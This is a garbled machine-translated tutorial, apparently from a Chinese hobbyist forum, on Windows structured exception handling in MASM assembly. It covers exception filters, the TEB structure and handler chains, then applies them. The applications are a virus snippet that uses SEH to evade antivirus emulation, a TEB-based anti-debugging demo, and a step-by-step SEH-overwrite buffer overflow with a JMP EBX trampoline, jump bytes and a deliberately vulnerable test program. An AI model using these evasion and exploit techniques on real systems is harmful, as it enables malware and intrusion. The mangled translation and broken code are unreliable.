For a few more time, when I saw an exception handling chapter, I found that this part really had urine :) So I got the relevant content, I was quite rich. Of course, some I still don't understand, and now take these babies out to share with you.
First let's take a look at several cases:
A. Used to handle non-fatal errors
B. The inspection of the legitimacy of the parameters of the API function (assuming parameters is legal, only the legitimacy test is performed when there is abnormal)
C. Handling fatal errors (the best choices when you exit, however, you can use an exception handler to release resources before you quit, delete temporary files, etc.
D. Handling an exception of "planned" (we may care more about this, because you can do a lot of hands and feet, haha)
Then we look at the two ways of exception processing under Windows: 1 Use the filter 2 SEH abnormally processed
First, use the filter
Because here I have to focus on the way SEH's processing, so it is still a simple printing method. Filter abnormal processing is to specify the program processing exception by an exception callback function. The callback function in this way must be unique and the previously invalidation after setting the new callback function. Suitable for process ranges. Look at the definition of this function
Invoke setunhandexecpionFilter, Offset_Handler
Mov LPPREVHANDAL, EAX
(Some uncomfortable first, it will come back tomorrow)
###### Question out: I think of a word "commander", I feel very reasonable: I will not be a good tomorrow, but it will be a better tomorrow! Bless all friends. ######
There is a meeting in the morning, nothing, afternoon? There is also a meeting, I am dizzy, I don't sleep at noon, and I don't do things in my heart.
The format of the callback function:
_HandlerProc PEXECPTIONINFO
See a data structure pointed to the PEXECPTIONINFO pointer parameter
Exception_Pointers Struct
PEXCEPTIONRECORD DWORD?
ContextRecord DWORD?
Exception_Pointers Ends
The definition of Exception_Record and Context structures is described below:
; / / ===================== The following is the detailed structure of the two members =================== =======
Exception_Record Struct
EXCEPTIONCODE DWORD?; // Unusual code
ExceptionFlags DWORD?; // Abnormal flag
PEXCEPTIONRECORD DWORD?; // Pointer to another Exception_Record
ExceptionAddress DWORD?; // Abnormal address
NumberParameters DWORD?; // Number of DWORD contained below Exceptioninformation
Exceptioninformation DWORD EXCEPTION_MAXIMUM_PARAMETERS DUP (?) Exception_Recordends; // Exception_Maximum_Parameters == 15
; / / ============================= Specific explanation ================= ================
ExceptionCode exception type, there are many types in SDK, you can find more exception type in Windows.inc, only give the HEX value below, please check with Windows.inc, you can encounter Several types are as follows:
C0000005H ---- Read and write memory conflicts
C0000094H ---- illegal except 0
C00000FDH ---- Stack overflow or speaks
80000001H ---- Conflict by Virtual Alloc
C0000025h ---- Unopeless, the program cannot resume execution, the exception handling routine should not process this different
C0000026H ---- The code used in the system during the exception handling process, if the system returns from a routine, this code will appear. If rtlunwind does not have an Exception Record parameter, it will also fill in this code.
80000003H ---- Due to INT3 interruption during the debugging
80000004H ---- is in a single-step debugging state
Note: You can also define an exception code yourself, follow the rules:
________________________________________________________________________________________
Bit: 31 ~ 30 29 ~ 28 27 ~ 16 15 ~ 0
________________________________________________________________________________________
Meaning: Severity 29-bit function code exception code
0 == Success 0 == MCrosoft Microsoft Defines User Definition
1 == Notification 1 == Customer
2 == Warning 28
3 == Error is reserved must be 0
ExceptionFlags exception logo
0 ---- can repair abnormalities
1 ---- Do not repair unusual
2 ---- is being launched, don't try to fix what, if you need, release the necessary resources
PexceptionRecord If the program itself causes an exception, point to that abnormal structure
ExceptionAddress has an exception EIP address
ExceptionInformation additional message, when calling raiseexception, or during the abnormal number C0000005h, the memory is abnormal, the memory is as follows
The first DWORD 0 == read conflict 1 == write conflict
Second DWORD read and write conflict address
; / / ================================ Interpretation end ============= ================ OFF.
Context struct;
CONTEXTFLAGS DWORD?; | 0
IDR0 DWORD?; | 4
IDR1 DWORD?; | 8
IDR2 DWORD?;> Debug Register C
IDR3 DWORD?; | 10
IDR6 DWORD?; | 14
IDR7 DWORD?; _ | 18
FLOATSAVE FLOATING_SAVE_AREA <>; floating point register area 1C ~~~ 88H
Reggs dWord?;; - | 8C
REGFS DWORD?; | / Segment Meter 90
Reges DWORD?; | / 94
Regds DWORD?;; - | 98
Regedi DWORD?; ____________ 9c
Regesi DWORD?; | Universal A0
Regebx DWORD?; | send a4
Regedx DWORD?; | 存 A8
Regecx DWORD?; | |
Regeax DWORD?; _______ | ___ group _ b0
Regebp DWORD?; B4
Regeip DWORD?; | Control B8
Regcs dword?; | storage BC
REGFLAG DWORD?; | | Unit C0
Regesp DWORD?; | C4
Regss dword?; C8EXtendedRegisters DB Maximum_supported_extension dup (?)
Context ends
; // ============================ or more is the detailed structure of the two members =========== =
The program can be found to find an abnormal address by looking at the regep in the above structure using the filter exception processing! When debugging, you can change the value of the EIP to reach the abnormal program and go to the "secure" place.
Last look at the return value of the filter exception handling the callback function
EXECPTION_EXECUTE_HANDLER 1; the process is terminated, there is no prompt error before termination.
EXECPTION_CONTINUE_SEARCH 0; the same termination program, display the error dialog
EXECPTION_CONTINUE_EXECUTION -1; The system sets the Contect to continue the executive
Using the filter program is the simplest method of processing an exception, not enough: 1 is not convenient for packaging. 2 Treatment is global, that is, it is not possible to set a private exception handler for each thread or subroutine to perform an exception handler.
Enter the topic: SEH abnormal treatment
First explain what is SEH exception handling: SEH ("Structured Exception Handling"
Structured abnormal processing. It is an operating system to provide powerful handler or abnormal weapons for program designers.
The following combines a SEH exception handler for cold rain to illustrate the specific usage:
; // ================================================ =====================
; // EX. 2, by hume, 2001 thread related abnormal processing
; // ================================================ =====================
.386
.Model flat, stdcall
Option Casemap: None; Case SensitiveInClude HD.H; // Related header files, you protect one yourself
; // ============================
.DATA
SZCAP DB "by Hume [AFO], 2001 ...", 0
SZMSGOK DB "It's now in the per_thread handler!", 0
Szmsgerr1 DB "IT Would Never Get Here!", 0
BUFF DB 200 DUP (0)
.code
_Start:
; // ======== prog begin ====================
Assume fs: Nothing
Push offset perthread_handler
Push fs: [0]
MOV FS: [0], ESP; // Establish SEH's basic ERR structure, if you don't understand, take a closer study.
XOR ECX, ECX
MOV EAX, 200
CDQ; // Double word extension to four bytes, because it is division
Div ECX
; // The following will never be executed
Invoke Messagebox, NULL, AddR Szmsgerr1, Addr Szcap, MB_OK MB_ICONITIONFORMATION
POP FS: [0]
Add ESP, 4
Invoke EXITPROCESS, NULL
; // ============================
Perthread_handler:
Invoke Messagebox, Null, Addr Szmsgok, Addr Szcap, MB_OK MB_ICONITIONFORMATION
MOV EAX, 1; // ExceptionContinuesearch, no processing, by other routines or system processing
Mov Eax, 0; // ExceptionContinueexecution, indicating that CONTEXT has been fixed, can continue to execute from abnormal events
Ret; / / Here if you return 0, you will fall into a dead loop, and continue to jump out of the dialog. ...
; // ===================================================
End _start
The program itself is very simple, and the comments are also detailed. Let's take a look at how to register the callback function.
Push offset perthread_handler
Push fs: [0]
MOV FS: [0], ESP
Just three statements are solved ~ So why use FS segment registers? Here is an important content: TIB (Thread Information Block Connection Information Block). Let's take a look at this important data structure (quoted "Luo Cong talks about the use of SEB implementation against tracking")
TEB (Thread Environment Block) is called Tib (Thread Information Block) in the Windows 9x Series, which records important information for threads, and each thread corresponds to a TEB structure. Matt Pietrek Big Big has given us a structure, I don't have much to say, see below: (Excerpted from Matt Pietrek Under the Hood - MSJ 1996)
/ / =========================================================================================================================================================================================== ===========
// file: tib.h
// Author: Matt Pietrek
// from: Microsoft Systems Journal "Under THE HOOD", May 1996
/ / =========================================================================================================================================================================================== ===========
#pragma pack (1)
TypeDef struct _exception_registration_record
{
Struct_exception_registration_record * pnext;
FarProc PfnHandler;
} EXCEPTION_REGISTRATION_RECORD, * PEXCEPTION_REGISTRATION_RECORD;
Typedef struct_tib
{
PEXCEPTION_REGISTRATION_RECORD PVEXCEPT; // 00h Head of Exception Record List
Pvoid PvStackUsertop; // 04h Top of User Stack
Pvoid PvStackuserBase; // 08H Base of User Stack
Union // 0ch (NT / WIN95 DIFFERENCES)
{
Struct // Win95 Fields
{
Word pvtdb; // 0ch tdb
Word Pvthunkss; // 0eh ss selector buy for thunking to 16 bitsdword unknown1; // 10h
} Win95;
Struct // Winnt Fields
{
Pvoid subsystemtib; // 0ch
Ulong fiberdata; // 10h
Winnt;
} TIB_Union1;
PVOID PVARBITRARY; / / 14H Available for Application USE
Struct_tib * ptibself; // 18h Linear Address of Tib Structure
Union // 1CH (NT / Win95 Differences)
{
Struct // Win95 Fields
{
Word Tibflags; // 1ch
Word win16mutexcount; // 1eh
DWORD DebugContext; // 20h
DWORD PCURRENTPRIORITY; / / 24H
DWORD PVQUEUE; // 28h Message Queue Selector
} WIN95;
Struct // Winnt Fields
{
DWORD UNKNOWN1; // 1CH
DWORD processID; // 20h
DWORD thREADID; // 24h
DWORD UNKNOWN2; / / 28H
Winnt;
} TIB_Union2;
PVOID * PVTLSARRAY; // 2ch thread local storage array
Union // 30h (NT / WIN95 DIFFERENCES)
{
Struct // Win95 Fields
{
PVOID * PPRocess; // 30h Pointer to Owning Process Database
} Win95;
} TIB_UNION3;
} TIB, * PTIB;
#pragma pack ()
Let us look up to see the code of the Matt Pietrek above, there is such a line:
PEXCEPTION_REGISTRATION_RECORD PVEXCEPT; // 00h Head of Exception Record List
Note this definition of PEXCEPTION_REGISTRATION_RECORD, indicating that PVEXCEPT variable is the entry of Exception Record List, which is located at 0 offset of the entire structure. At the same time, in the M's Intel i386 Windows NT / 2K / XP core, whenever you create a thread, the OS allocates a TEB for each thread, and TEB is always placed at 0 offset of the data segment specified by the FS segment selector. .
In this way, you understand why the offset of SEH registration is in FS: [0]?
In fact, the Windows system is through this approach to provide information for the application, such as such an example:
Struct_tib * ptibself; // 18h Linear Address of Tib Structure
DWORD thREADID; // 24h
Windows offers an API: getCurrentThreadId (), its internal working principle is actually like this: (using the above two addresses) MOV EAX, FS: [18h]; because the 18h offset is the linear part of the TIB structure Transfer address
MOV EAX, [EAX 24H]; because the 24h offset is the address of ThreadID
Ret; returns the ThreadID address stored in EAX
Note: Why do you want to declare Assume Fs: Nothing? Because the MASM compiler defines the FS segment register by default to Error, the program must start it before using FS!
Next, look at the callback function of SEH
_Handler proc _lpexecptionRecord, _lpseh, lp_context, lp_dispatcherContext
_LpexecptionRecord points to an Execption_Record structure.
LP_CONTEXT points to a context structure.
_LPseh points to the address of the Exxception_Registration structure used when registering the callback function.
The return value has four values:
EXECPTIONCONTINUEEXECUTION (0
: The system sets the thread environment to the context structure pointing to _lpContext and proceeds to execute.
ExceptionContinueSearch (1): The callback function refuses to handle this exception, and the system gets the address of the previous callback function via the Execption_Registration structure of the prev field and calls it.
ExecptionnestedExecption (2): Exception nesting.
ExecptionCollidedunwind (3): Exceptions. This part does not talk more, interested, you can look at Luo Yunbin's book, is actually a very important part.
If a program has both filter exception processing and SEH exception processing, and the system has the default exception handling mechanism, what is the order they call?
The processing order of the system when an abnormality is occurring (by jeremy gordon):
1. The system first determines whether an exception should be sent to the target program, if the decision should be sent, and the target program is being debugged, the system suspended the program and sends an Exception_Debug_event message to the debugger. Oh, this is not just right To detect the existence of the debugger?
2. If your program is not debugged or the debugger fails to handle an exception, the system will continue to find whether the thread-related exception handling routine is installed. If you have the thread-related exception handling routine, the system will make an exception Send it to your program SEH processing routine, which is handled.
3. Each thread-related exception handling routine can handle or do not process this exception, if he does not process and installing multiple thread-related exception handling routines, it can be handed over to other routines.
4. If these routines choose not to process exceptions, if the program is in a debugged state, the operating system will still suspend the program to inform the debugger.
5. If the program is not in a debug state or the debugger is not able to process, and you call SetunHandledExceptionFilter to install the last traveling routine, the system turns to its call to it.
6. If you do not have the last exception handling routine or he does not process this exception, the system calls the default system handler, usually display a dialog, you can select Off or finally attach it to the debug button on the debugger. If no debugger can be attached or the debugger can't process, the system calls the EXITPROCESS termination.
7. However, before the end, the system still handles the abnormal thread exception handle, which is the chance to clean up the thread exception handling routine.
Said that so much, you may ask if the SEH is abnormally handled, what is the use? Oh, and listen to the child slowly came ~~~
The first food: the virus program uses SEH
It is simple to say how to use the SEH exception handler to avoid the anti-virus engine of the poisonous software. An anti-virus engine will simulate the code of the program when running, when the discovery of the program code is more, will be reported as a virus. Take a look at the following program: start: call set_seh; this is actually Push Offset Continue
JMP set_seh
Continue: MOV ESP, [ESP 8]; [ESP 8] is stored for the old stack address.
Push Offset Start_virus; ----_Photo Start_virus's address stack as a return address
Ret; ---- Jump to start_virus, is it very MAGIC?
SET_SEH: SUB EDX, EDX; EDX = 0
Assume fs: Nothing
push dword ptr fs: [edx]; pointer points to the stack structure _EXCEPTIONAL_REGISTRATION_RECORD
MOV FS: [EDX], ESP; Install a SEH
MOV [EDX], EDX; causing a memory read and write conflict, exception occurs because EDX = 0
If the anti-virus engine does not deal with exception, do not enter the SEH handler (ie Continue:
Continue model
The next command is to be submitted, that is, JMP START, then enter a dead cycle, it may cause a crash.
JMP START
START_VIRUS: .....
Is it very simple? That is to let the anti-virus engine do not deal with this person's exception, enter the dead cycle ~! !
The second food: TEB anti-tracking
If your memory is good enough, you must remember that the TEB (TIB) thread information block structure described above is:
PVOID * PPRocess; // 30h Pointer to Owning Process Database
The content of this offset address is very useful, which points to the linear address of the PDB (Process Database) of the owner of this thread. When you use a dynamic debugger, such as ollydbg, the debugger is tracking the debug object as a sub-thread, in which case the "owner" of the object being debugged is the debugger itself, that is, The content of its offset pointing at its Teb is certainly not 0, so we can use this, determine the contents of 30h offset points to determine if there is a debugger tracking.
Finally, an Anti-Debug examples of procedures, compiled by the MASM, please use OllyDbg to load the debugger to see if normal operating results any different.
; ************************************************* *********
; Program Name: Demo uses the TEB structure to perform Anti-Debug
Please debug with ollydbg
Applicable OS: Windows NT / 2K / XP
; Author: Luo Cong
Date: 2003-2-9
; Source:
http://www.luocong.com (Lao Luo Fun Tiandi)
; Note: If you want to reprint, keep the whole process and indicate:
Reprinted from "Lao Luo Fun Tiandi" (
http://www.luocong.com)
; ************************************************* *********
.386
.Model flat, stdcall
Option Casemap: noneinclude /masm32/include/windows.inc
INCLUDE /MASM32/INCLUDE / WANEL32.INC
INCLUDE /MASM32/INCLUDE/USER32.INC
INCLUDELIB /MASM32/LIB/kernel32.lib
INCLUDELIB /MASM32/LIB/USER32.LIB
.DATA
SZCAPTION DB "Anti-Debug Demo By LC, 2003-2-9", 0
SZDebugged DB "Hah, Let Me Guess ... u r debugging me!
", 0
SZFINE DB "Good Boy, No Debugger Detected!", 0
.code
MAIN:
Assume fs: Nothing
MOV EAX, FS: [30H]; point to PDB (Process Database)
Movzx Eax, Byte PTR [EAX 2H]; no symbolic number zero extension
OR Al, Al
JZ _fine
_Debugged:
Push MB_OK or MB_ICONHAND
Push Offset Szcaption
Push offset szdebugged
JMP _Output
_Fine:
Push MB_OK or MB_ICONInformation
Push Offset Szcaption
Push Offset Szfine
_Output:
Push null
Call Messageboxa
Invoke EXITPROCESS, 0
End main
The third dish: use SEH to execute shellcode
Assuming an exception handling routine entry 00401053, the program is just executing the ESP is 0012FFC4, the previous FS: [0] is 0012FFE0
The case where the first member of the TIB structure is established is as follows:
Memory low address
| E0 | 12FFBC (ESP)
| Ff |
| 12 | - the first member of the RERR structure
| _00_ |
| 53 | 12FFC0
| 10 |
| 40 | The second member of the RERR structure
| 00 |
Memory high address
Ok, then the program Call has a function, there is a partial variable and an overflow when the data written in the space allocated. At this time, the stack is as follows
____
| | 12F000 local variable allocated space, and overflows to the 12FFC0 direction.
| | |
....
....
| _EBP | 12FFB4 Save Old EBP
| XX |
| XX |
| XX |
| _Eip | 12ffb8 Call function EIP Put
| XX |
| XX |
| _XX_ |
| E0 | 12ffbc (ESP) {When SEH works, EBX just points to this address (it can also be said to always point to the current ERR structure)}
| Ff |
| 12 | - the first member of the RERR structure
| _00_ |
| 53 | 12FFC0
| 10 |
| 40 | The second member of the RERR structure
| _00_ |
| | 12FFC4
Continue to see, assume that the overflow code has been 12FFC4, then the Call's function is returned, because the saved EIP is overflowing the code instead, the program is wrong (will not be wrong?), So that ESH starts to work (Note: during this The system should perform some operations, so EBX will point to the current ERR). So the program will jump to the address of the 12FFC0 to execute! And the Dongdong in the 12FFC0 is not the original 00401053. So we don't change the program What is the flow here? 12FFC0 What is written? Should be the address of the code in the memory of JMP EBX. This will eventually jump to 12FFBC. This four-byte is precious.
Now suppose JMP EBX's address in memory is 0x77E33F4D, let's take a look at the situation where the stack is now:
| EB | 12FFBC (ESP) {When ESH works, EBX just points to this address (it can also be said to always point to the current ERR structure)}
| 06 |
The first member of the 90 | --RR structure, after executing JMP EBX, it is executed here (EB 06 is a machine code for short jump JMP 12FFC4)
| _90_ | The next 90 is the machine code for NOP empty instructions.
| 4D | 12FFC0
| 3F |
The second member of the E3 | --RR structure, the entrance address of the error handling function (now the address of JMP EBX)
| _77_ |
| | 12FFC4
....
Well now to see what code is in 12FFC4. (Simple saying that this code is to calculate the start address of the true shellcode, then skip the execution.
Low address
| | 12F000 (Shellcode start address)
....
....
| 81 | 12FFC4
| C3 | add ebx, fffff03ch (EBX = 12FFC4, instruction length 6, the calculation of the calculation of the shellcode address)
| 3C |
| F0 |
| Ff |
| Ff |
| FF | 12FFCA JMP EBX
| D3 |
High address
test program
------------------------- Seh.asm ------------------
.386
.Model flat, stdcall
Option CaseMAP: NONE
Include ../include/User32.inc
Includelib ../lib/user32.lib
Include ../include/kernel32.inc
Includelib ../lib/kernel32.lib
.DATA
Hello DB 'uses an API that reads the INI file to demonstrate Win2000 local overflow', 0
LPFileName DB './seh.ini' ,0
LPAPPNAME DB 'IAM', 0
LpKeyname DB 'CZY', 0
LPDEFAULT DB 'DDD', 0
SZCAP DB "SEH TEST", 0
Szmsgok DB "OK, The Exceptoin Was Handled by Final Handler!", 0
Szmsgerr1 DB "IT Would Never Get Here!", 0
.code
Testov Proc
Local lpreturnedstring [2224]: Byte; Returned strings are made in the same way as C language, it is in the stack
Invoke GetPrivateProfileString, Offset LPAppname, Offset, LpKeyname, Offset LPDefault, Addr LPRETURNEDSTRING, 2249, OFFSET LPFILENAME
Invoke Messagebox, 0, AddR LpreturnedString, AddR LpreturnedString, 1
RET
Testov endp
Start:
Assume fs: Nothing
Invoke Messagebox, 0, Addr Szmsgerr1, Addr Szcap, 30H 1000H;
Push Offset Final_Handler; Pressing the normal error handler entry address
Push fs: [0]; press the address of the previous TIB
MOV FS: [0], ESP
Call Testov
POP FS: [0]; Restore FS: [0] final_handler:; Since the code overflows is not executed.
Invoke Messagebox, 0, Addr Szmsgok, Addr Szcap, 30H
Invoke EXITPROCESS, 0
MOV Eax, 1
RET
End Start
Bamboo
----------------- End -------------
1
How to better find JMP EBX code in memory:
Execute S 10: 0 l fffffffffffff D3 in Softice, but actually found
The address may not be executed. So use the following method:
Map32 kernel32 (in the current process finds the information of the mappled kernel32 dll)
Generally there is shown below:
Owner obj name obj # address size type
Kernel32 .Text 0001 001B: 77B61000 0005D1AE Code Ro
......
then
S 77B61000 L 5D1AE FF D3
If the display is displayed as follows:
Pattern Found AT 0023: 77E61674 ....
2) Questions about the size of the buffer:
With SEH's approach, you can at least be set to 1000 bytes. Your shellcode will not be covered by not know where it is overwritten!
This dish czy is not easy to eat: (I feel that it feels a bit difficult ~! Because about the buffer overflows it is too small, but good things should be retained, I will return to the head later!
The fourth food: API Hook with SEH Technology
This part doesn't want to start, give you a link.
http://www.luocong.com/articles/show_article.asp?teade_id=25
Finally, as a shortcomings of ending :) A person is only looking at your shortcomings to keep progress! Ha ha
The last loaded SEH exception handler in the SEH exception handling chain is always called, think about writing an exception handler if you spend a week, can perfectly process all exceptions, and hope that all from You have handled, but very unfortunate, such as you call an external module, and this module has a UGly SEH handling routine, his action is simple to terminate the program as long as there is an abnormality, haha, then you will die. . For example, if you want to encrypt the target code segment in your plus, then the handle of the handle is unusually installed, use your own installed handle to decrypt the code segment to continue execution, which is indeed a good idea, but regret Most C / C code uses the _Try {} _ Except {} block to ensure that it is running correctly, and these exception handling routines are installed after you registered with the routine of your housing, so it is in front of the chain, invalid One execution is executed, first is the process routine provided by the C / C compiler itself or other exception processing routine to process, which may be simple to end the program or ....
Tired! ~~~~~~
Write two days, wrong, should be spliced two days, there are many procedures and texts from hume, Lao Luo, and CZY "plagiarism" :) Hope Don't be angry ~~ World books Great copy. You will be mine, of course, I will share it. Oh, it's not enough now, the level is not enough.